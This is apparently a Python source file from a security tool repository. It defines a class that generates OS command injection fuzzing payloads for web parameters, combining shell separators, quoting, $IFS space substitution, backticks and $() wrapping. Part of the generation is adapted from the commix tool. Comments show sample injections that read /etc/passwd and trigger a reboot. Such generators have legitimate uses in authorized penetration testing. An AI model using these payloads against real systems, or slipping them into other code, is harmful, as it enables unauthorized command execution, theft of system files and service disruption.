-
Notifications
You must be signed in to change notification settings - Fork 37
/
make_payload.py
129 lines (106 loc) · 4.76 KB
/
make_payload.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 17/3/30 上午10:34
# @Author : Komi
# @File : make_payload.py
# @Ver: : 0.1
class PayloadGenerate:
def __init__(self, base_command_list):
self.base_command = base_command_list
self.fuzzing_payloads_list = []
self.fuzzing_finished_url = []
# The white-spaces
self.WHITESPACE = ["$IFS", "%20"]
# The command injection suffixes.
self.SUFFIXES = ["'", "\""]
# The command injection separators.
self.SEPARATORS = [";", "|", "&", "||"]
# The command injection prefixes.
self.PREFIXES = ["'", "\""]
def add_prefixes(self, payload, prefix):
payload = prefix + payload
return payload
def add_suffixes(self, payload, suffix):
payload = payload + suffix
return payload
def add_sp_before(self, payload, sp):
if payload:
return sp + payload
else:
return ''
def add_single_quote(self, s):
if s:
return "'{}'".format(s)
else:
return ''
def add_double_quotes(self, s):
if s:
return '"{}"'.format(s)
else:
return ''
def replace_space(self, payload, whitespace):
if payload:
return payload.replace(' ', whitespace)
else:
return ''
# `whoami`
def add_backquote(self, payload):
if payload:
return "`{}`".format(payload)
else:
return ''
# $(reboot)
def add_brackets(self, payload):
if payload:
return "$({})".format(payload)
else:
return ''
# 这是取的commix的payload生成方式
def make_commix_payloads(self, TAG):
for whitespace in self.WHITESPACE:
for prefix in self.PREFIXES:
for suffix in self.SUFFIXES:
for sp in self.SEPARATORS:
payloads = []
p1 = 'echo {}'.format(TAG)
p2 = 'echo {}'.format(self.add_single_quote(TAG))
p3 = 'echo {}'.format(self.add_double_quotes(TAG))
payloads += [p1, p2, p3]
payloads += [self.add_sp_before(p1, sp), self.add_sp_before(p2, sp), self.add_sp_before(p3, sp)]
payloads += [self.replace_space(p1, whitespace), self.replace_space(p2, whitespace), self.replace_space(p3, whitespace)]
payloads += [self.replace_space(self.add_sp_before(p1, sp), whitespace), self.replace_space(self.add_sp_before(p2, sp),whitespace),
self.replace_space(self.add_sp_before(p3, sp),whitespace)]
# Fix prefixes / suffixes
for payload in payloads:
payload = self.add_prefixes(payload, prefix)
payload = self.add_suffixes(payload, suffix)
self.fuzzing_payloads_list.append(payload)
# 这我自定义的payload
def fuzz_mypayloads(self):
for whitespace in self.WHITESPACE:
for prefix in self.PREFIXES:
for suffix in self.SUFFIXES:
for sp in self.SEPARATORS:
for cmd in self.base_command:
payloads = []
# index.php?id=cat /etc/passwd
payloads += [cmd]
# index.php?id=`cat /etc/passwd`
payloads += [self.add_backquote(cmd)]
# index.php?id=$(cat /etc/passwd)
payloads += [self.add_brackets(cmd)]
# index.php?id=;cat /etc/passwd
payloads += [self.add_sp_before(cmd, sp)]
# index.php?id=;`cat /etc/passwd`
payloads += [self.add_sp_before(self.add_backquote(cmd), sp)]
# index.php?id=;$(cat /etc/passwd)
payloads += [self.add_sp_before(self.add_brackets(cmd), sp)]
# index.php?id=cat$IFS/etc/passwd
payloads += [self.replace_space(cmd, whitespace)]
# index.php?id=;cat$IFS/etc/passwd
payloads += [self.replace_space(self.add_sp_before(cmd, sp), whitespace)]
# index.php?id='cat /etc/passwd'
for payload in payloads:
payload = self.add_prefixes(payload, prefix)
payload = self.add_suffixes(payload, suffix)
self.fuzzing_payloads_list.append(payload)